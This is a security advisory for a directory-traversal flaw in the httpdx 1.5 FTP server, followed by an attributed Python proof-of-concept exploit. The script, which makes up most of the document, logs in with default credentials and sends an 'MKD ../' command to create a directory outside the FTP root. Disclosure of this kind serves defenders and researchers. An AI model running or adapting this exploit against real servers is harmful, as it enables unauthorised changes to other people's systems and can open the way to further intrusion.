source: http://www.securityfocus.com/bid/38242/info

The 'httpdx' program is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue allows an authenticated user to create directories outside the FTP root directory, which may lead to other attacks.

This issue affects httpdx 1.5; other versions may also be affected. 

# Exploit Title: httpdx - ultralight http/ftp server directory Traversal
# Date: 14/2/2010
# Author: FB1H2S
# Software Link: http://sourceforge.net/projects/httpdx/
# Version: v1.5
# Tested on: WIN XP2
# CVE : [if exists]
# Code : Attached
 
#!/usr/bin/python
# Greetz to all Darkc0de, Andhra Hackers and ICW Memebers                              
#Thanks  : Mr bond,Wipu,GOdwinAustin,The_empty,beenu,hg_H@x0r,r45c4l,it_security,eberly
#Shoutz  : SMART_HAX0R,j4ckh4x0r,41w@r10r,Hackuin
import socket
import sys
hostname='localhost'
username='admin'
passwd='password'
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    sock.connect((hostname, 21))
except:
    print ("Connection error!")
    sys.exit(1)
r=sock.recv(1024)
sock.send("user %s\r\n" %username)
r=sock.recv(1024)
sock.send("pass %s\r\n" %passwd)
r=sock.recv(1024)
# The FTP root is example.com we could move down the root directory
sock.send("MKD ../fb1h2s\r\n")
sock.close()
sys.exit(0);
